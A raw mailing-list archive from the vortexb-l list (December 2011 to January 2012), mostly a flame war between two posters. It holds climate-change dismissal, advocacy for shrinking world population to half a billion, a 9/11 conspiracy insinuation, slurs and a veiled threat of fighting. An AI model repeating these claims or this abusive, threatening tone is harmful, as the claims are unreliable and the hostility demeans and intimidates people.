2011 15:10:55 -0800 Message-ID: <00d801ccbea3$7659e010$630da030$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acy+onoj80WyqsOLQXSe6eGPdaGfhwAAL1+g Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4471 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 712 Hi Terry! Thanks for breaking the ice over at V-B! I doubt the Vatican would have any $ left if they had to compensate all the victims of molestation that have been overlooked for what must be centuries... -m -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com] Sent: Monday, December 19, 2011 3:04 PM To: vortexb-l@eskimo.com Subject: [VoB]:Pope Calls For Redistribution of Wealth http://www.huffingtonpost.com/2011/12/16/pope-benedict-wealth-distribution_n _1154798.html By Francis X. Rocca Religion News Service VATICAN CITY (RNS) Noting a "rising sense of frustration" at the worldwide economic recession, Pope Benedict XVI said that a more just and peaceful world requires "adequate mechanisms for the redistribution of wealth." How about we start with the Vatican Bank and all those jewels on your hat? T From vortexb-l-request@eskimo.com Mon Dec 19 15:31:23 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pBJNVLJm025354; Mon, 19 Dec 2011 15:31:21 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pBJNVJOY025343; Mon, 19 Dec 2011 15:31:19 -0800 Resent-Date: Mon, 19 Dec 2011 15:31:19 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=n77GgUbdyoRrjTfATiIGm5ejYwrpZkxMCcIuh3X+RXo=; b=GOZOq81C3ZBdcBtC7P8UuPkAlDvtUipqlZix1wHLcfcsW6lpNlvUe4gsd5B5U5PHba yqPviDvJm+vRi0LYk6e0CEPS62sfxcJuyAQ+P9RLXJ32IxSKY1NlTt2VQIXBkZsfxnks dJhUL74ZTg3cj2bXzm5bf8R6rBlsunsLs0woI= MIME-Version: 1.0 In-Reply-To: <00d801ccbea3$7659e010$630da030$@net> References: <00d801ccbea3$7659e010$630da030$@net> Date: Mon, 19 Dec 2011 18:28:18 -0500 Message-ID: Subject: Re: [VoB]:Pope Calls For Redistribution of Wealth From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: <_0XbBD.A.1LG.Hl87OB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4472 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 713 On Mon, Dec 19, 2011 at 6:10 PM, Mark Iverson-ZeroPoint wrote: > Hi Terry! > Thanks for breaking the ice over at V-B! It's about a book: http://www.amazon.com/Last-Day-Glenn-Kleier/dp/0446605980 When the Pope asks Jeza to kiss his ring, she asks how many hungry people could that ring feed? She shouts at the Pope and the throne of Peter breaks. Cool story. T From vortexb-l-request@eskimo.com Mon Jan 2 07:10:27 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q02FAOdf023643; Mon, 2 Jan 2012 07:10:24 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q02FA5W8023146; Mon, 2 Jan 2012 07:10:05 -0800 Resent-Date: Mon, 2 Jan 2012 07:10:04 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkhAHHHAU/O+Ihr/2dsb2JhbABEggWICKNQgXMBAQQBAQE3TwhJUQQCBbwriHWDGgSIN4xKklM X-IronPort-AV: E=Sophos;i="4.71,444,1320642000"; d="scan'208";a="154949793" Date: Mon, 2 Jan 2012 10:06:36 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120102100636.91bf357e.vorl.bek@antichef.com> In-Reply-To: <20120102100233.e365949a.vorl.bek@antichef.com> References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> <20120102100233.e365949a.vorl.bek@antichef.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4473 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:test Status: O X-Status: X-Keywords: X-UID: 714 test From vortexb-l-request@eskimo.com Mon Jan 2 07:12:39 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q02FCbtB021213; Mon, 2 Jan 2012 07:12:37 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q02FCPtS021153; Mon, 2 Jan 2012 07:12:25 -0800 Resent-Date: Mon, 2 Jan 2012 07:12:25 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgohAHHHAU/O+Ihr/2dsb2JhbABEggWrWIFzAQEEAQEBFiFPCElXBbwriHWDGgSIN4xKklM X-IronPort-AV: E=Sophos;i="4.71,444,1320642000"; d="scan'208";a="154949921" Date: Mon, 2 Jan 2012 10:09:16 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120102100916.e34649e9.vorl.bek@antichef.com> In-Reply-To: References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4474 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:test to vortexb-l Status: O X-Status: X-Keywords: X-UID: 715 test From vortexb-l-request@eskimo.com Mon Jan 2 07:13:52 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q02FDoMf021580; Mon, 2 Jan 2012 07:13:50 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q02FDodm021571; Mon, 2 Jan 2012 07:13:50 -0800 Resent-Date: Mon, 2 Jan 2012 07:13:50 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=zqaTCEiD4f7Fqiu2jnXZG5unT0Juht6QTWErhHjkQRc=; b=INox6rECCUxFuu6VtMSjvYd46vMAJxnVpaUn+EaV/KlnlrOCvI2znhzi6AhsFqp+En zps+EfVUfeIGysMABZ5Tg4bNuXz0cZuQf2yXpYkHtZf0dVWI9I2HcAaNhM42FqYemrUI HL3zkhftj9JQe/MfLzZS5SVK2J8Msvhi5OPqE= MIME-Version: 1.0 In-Reply-To: <20120102100916.e34649e9.vorl.bek@antichef.com> References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> <20120102100916.e34649e9.vorl.bek@antichef.com> Date: Mon, 2 Jan 2012 17:10:39 +0200 Message-ID: Subject: Re: [VoB]:test to vortexb-l From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015175dda2c4f300a04b58cfc54 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4475 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 716 --0015175dda2c4f300a04b58cfc54 Content-Type: text/plain; charset=ISO-8859-1 No-one is here On Mon, Jan 2, 2012 at 5:09 PM, Vorl Bek wrote: > test > > --0015175dda2c4f300a04b58cfc54 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable No-one is here

On Mon, Jan 2, 2012 at 5:0= 9 PM, Vorl Bek <vorl.bek@antichef.com> wrote:
test


--0015175dda2c4f300a04b58cfc54-- From vortexb-l-request@eskimo.com Mon Jan 2 07:22:57 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q02FMtZ5026194; Mon, 2 Jan 2012 07:22:55 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q02FMsDZ026187; Mon, 2 Jan 2012 07:22:54 -0800 Resent-Date: Mon, 2 Jan 2012 07:22:54 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag0hAFPJAU/O+Ihr/2dsb2JhbABEggWrWIFyAQEBAQIBAQEBN0QLCANGVwWIDrQfiHWDGgSIN4xKklM X-IronPort-AV: E=Sophos;i="4.71,444,1320642000"; d="scan'208";a="154950699" Date: Mon, 2 Jan 2012 10:19:45 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120102101945.e1a1e6d2.vorl.bek@antichef.com> In-Reply-To: References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4476 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Jed and others 2012 predictions please Status: O X-Status: X-Keywords: X-UID: 717 > visible greens are no more like what you say. it has became an > apocalyptic sect, highly competent in influencing media . > on many domains, they are just behaving like propagandizing > priest, irrational frighteners, pathologic liars, manipulating > humans feeling, using media... You have that right. The 'Global Warming' 'Green' nonsense spews from the media every day. For an antidote, see: http://wattsupwiththat.com The 'green' people completely ignore our insanely large population; if that were brought down to something reasonable, say one-half billion, the pollution problems would decline commensurately. From vortexb-l-request@eskimo.com Mon Jan 2 08:47:35 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q02GlXxI007908; Mon, 2 Jan 2012 08:47:33 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q02GlWgF007901; Mon, 2 Jan 2012 08:47:32 -0800 Resent-Date: Mon, 2 Jan 2012 08:47:32 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 2 Jan 2012 08:44:17 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Jed and others 2012 predictions please Message-ID: <20120102164417.GA29170@shell.resist.ca> Reply-To: grok@resist.ca References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> <20120102101945.e1a1e6d2.vorl.bek@antichef.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20120102101945.e1a1e6d2.vorl.bek@antichef.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: ceramic-Kevlar, FOB Keenan, tandem, Bell 214C, K-FOR User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4477 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 718 As the smoke cleared, Vorl Bek mounted the barricade and roared out: > > visible greens are no more like what you say. it has became an > > apocalyptic sect, highly competent in influencing media . > > on many domains, they are just behaving like propagandizing > > priest, irrational frighteners, pathologic liars, manipulating > > humans feeling, using media... > > You have that right. The 'Global Warming' 'Green' nonsense spews > from the media every day. For an antidote, see: > http://wattsupwiththat.com > > The 'green' people completely ignore our insanely large > population; if that were brought down to something reasonable, say > one-half billion, the pollution problems would decline > commensurately. Spoken like true, petit-bourgeois opinionated know-nothing retards. There aren't too many people in the World, morons -- there's too much *CAPITALISM*. And too may of its idiot supporters, for that matter... As for Global Warming: I guess 2 planes really DID drop 3 skyscrapers in their footprints, eh..? Pfft. My prediction for 2012: it's the End of the World. So there. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon Jan 2 08:52:37 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q02GqYdf009623; Mon, 2 Jan 2012 08:52:34 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q02GqY5V009617; Mon, 2 Jan 2012 08:52:34 -0800 Resent-Date: Mon, 2 Jan 2012 08:52:34 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 2 Jan 2012 08:49:19 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test to vortexb-l Message-ID: <20120102164919.GA1161@shell.resist.ca> Reply-To: grok@resist.ca References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> <20120102100916.e34649e9.vorl.bek@antichef.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: DARL, NATO-Russia Council, Nuclear Emergency Search Team, deathsquad, mailbomb User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4478 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 719 As the smoke cleared, Esa Ruoho mounted the barricade and roared out: > No-one is here I second that. -- grok. > On Mon, Jan 2, 2012 at 5:09 PM, Vorl Bek wrote: > > > test > > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon Jan 2 08:59:11 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q02Gx8Yc006454; Mon, 2 Jan 2012 08:59:08 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q02Gx7eV006442; Mon, 2 Jan 2012 08:59:07 -0800 Resent-Date: Mon, 2 Jan 2012 08:59:07 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUyAADhAU/O+Ihr/2dsb2JhbABEggWKRpA3kFuBdAYBATdXSVy8M4h1gxoEiDeMSpJT X-IronPort-AV: E=Sophos;i="4.71,445,1320642000"; d="scan'208";a="154959187" Date: Mon, 2 Jan 2012 11:55:59 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120102115559.e3493cea.vorl.bek@antichef.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4479 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:For a Better World Status: O X-Status: X-Keywords: X-UID: 720 Down with the 'Green' idiocy! http://wattsupwiththat.com For a Better World, With Fewer Mouths To Feed - They will be worth more. From vortexb-l-request@eskimo.com Mon Jan 2 09:17:23 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q02HHKjq015667; Mon, 2 Jan 2012 09:17:20 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q02HHJ1g015652; Mon, 2 Jan 2012 09:17:19 -0800 Resent-Date: Mon, 2 Jan 2012 09:17:19 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 2 Jan 2012 09:14:01 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:For a Better World Message-ID: <20120102171401.GA14807@shell.resist.ca> Reply-To: grok@resist.ca References: <20120102115559.e3493cea.vorl.bek@antichef.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20120102115559.e3493cea.vorl.bek@antichef.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Lt. Gen. Stanley McChrystal, Antonov An-140, VVIP, Majic, JAVA User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4480 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 721 As the smoke cleared, Vorl Bek mounted the barricade and roared out: > > > Down with the 'Green' idiocy! http://wattsupwiththat.com > > For a Better World, With Fewer Mouths To Feed - They will be worth > more. People like me will fight people like you over that. For real. If you're gonna fuck with people -- be prepared to get fucked right back, eh? Idiot. I see you're totally with the fascist neocons. It all fits. So see you in The Revolution, fool. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon Jan 2 09:27:34 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q02HRWhR029384; Mon, 2 Jan 2012 09:27:32 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q02HRRoJ029354; Mon, 2 Jan 2012 09:27:27 -0800 Resent-Date: Mon, 2 Jan 2012 09:27:27 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApYwACHnAU/O+Ihr/2dsb2JhbABEggWrWIFyAQEBAQIBAQEBN08IA0ZXBRSHerQgiHWDGgSIN4xKklM X-IronPort-AV: E=Sophos;i="4.71,445,1320642000"; d="scan'208";a="154961258" Date: Mon, 2 Jan 2012 12:24:18 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:For a Better World Message-Id: <20120102122418.b42ea40f.vorl.bek@antichef.com> In-Reply-To: <20120102171401.GA14807@shell.resist.ca> References: <20120102115559.e3493cea.vorl.bek@antichef.com> <20120102171401.GA14807@shell.resist.ca> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: <-pm2RD.A.hKH._jeAPB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4481 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 722 > > As the smoke cleared, Vorl Bek > mounted the barricade and roared out: > > > > > > > Down with the 'Green' idiocy! http://wattsupwiththat.com > > > > For a Better World, With Fewer Mouths To Feed - They will be > > worth more. > > People like me will fight people like you over that. For real. > If you're gonna fuck with people -- be prepared to get fucked > right back, eh? Idiot. > > I see you're totally with the fascist neocons. It all fits. > So see you in The Revolution, fool. I picture grok sitting under the Vortexb bridge for the past year, patiently waiting for a traveller. Now that one has appeared, he rushes up on tiny legs to attack: three-feet tall, with an enormous head and sharp teeth. +++++ Down with the 'Green' idiocy! http://wattsupwiththat.com For a Better World, With Fewer Mouths To Feed - They will be worth more. +++++ From vortexb-l-request@eskimo.com Mon Jan 2 10:11:43 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q02IBeNA010027; Mon, 2 Jan 2012 10:11:40 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q02IBdeS010007; Mon, 2 Jan 2012 10:11:39 -0800 Resent-Date: Mon, 2 Jan 2012 10:11:39 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 2 Jan 2012 10:08:23 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:For a Better World Message-ID: <20120102180823.GA7274@shell.resist.ca> Reply-To: grok@resist.ca References: <20120102115559.e3493cea.vorl.bek@antichef.com> <20120102171401.GA14807@shell.resist.ca> <20120102122418.b42ea40f.vorl.bek@antichef.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20120102122418.b42ea40f.vorl.bek@antichef.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: SJ-12 satellites, WHO, Atomic Demolition Mines, Ulyanovsk, data link User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4482 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 723 As the smoke cleared, Vorl Bek mounted the barricade and roared out: > > > > As the smoke cleared, Vorl Bek > > mounted the barricade and roared out: > > > > > > > > > > > Down with the 'Green' idiocy! http://wattsupwiththat.com > > > > > > For a Better World, With Fewer Mouths To Feed - They will be > > > worth more. > > > > People like me will fight people like you over that. For real. > > If you're gonna fuck with people -- be prepared to get fucked > > right back, eh? Idiot. > > > > I see you're totally with the fascist neocons. It all fits. > > So see you in The Revolution, fool. > > > I picture grok sitting under the Vortexb bridge for the past year, > patiently waiting for a traveller. Now that one has appeared, he > rushes up on tiny legs to attack: three-feet tall, with an enormous > head and sharp teeth. > > +++++ > Down with the 'Green' idiocy! http://wattsupwiththat.com > > For a Better World, With Fewer Mouths To Feed - They will be > worth more. > +++++ The usual ad hominem response from someone who is not a serious human being. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Tue Jan 3 04:09:56 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q03C9n4N023745; Tue, 3 Jan 2012 04:09:49 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q03C9ciT023693; Tue, 3 Jan 2012 04:09:38 -0800 Resent-Date: Tue, 3 Jan 2012 04:09:38 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AioPAMfuAk/O+Ihr/2dsb2JhbABEggWrYIFyAQEBAQIBAQEBN0QLCANGVwWIDrRwiHWDGgSIN4xKklM X-IronPort-AV: E=Sophos;i="4.71,449,1320642000"; d="scan'208";a="155048640" Date: Tue, 3 Jan 2012 07:06:24 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120103070624.430b55b8.vorl.bek@antichef.com> In-Reply-To: References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4483 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Jed and others 2012 predictions please Status: O X-Status: X-Keywords: X-UID: 724 > I see Vorl Bek is over on Vortex B talking to the Grok thing. > > He/she wrote "The 'green' people completely ignore our insanely > large population" thus proving beyond doubt that he/she knows > absolutely nothing and just makes stuff up. Do you know that you could fit the entire population of the world into Wales - if they were all standing; so maybe you are right. > Even more laughably, > they also promote wattsupwiththat.com - the biggest > anti-science disinformation and propaganda site on the internet > - as some sort of authority! Nick Palmer -- Down with the 'Green' idiocy! http://wattsupwiththat.com For a Better World, With Fewer Mouths To Feed - They will be worth more. From vortexb-l-request@eskimo.com Tue Jan 3 10:21:18 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q03ILFqm017622; Tue, 3 Jan 2012 10:21:15 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q03IL8nd017476; Tue, 3 Jan 2012 10:21:08 -0800 Resent-Date: Tue, 3 Jan 2012 10:21:08 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst 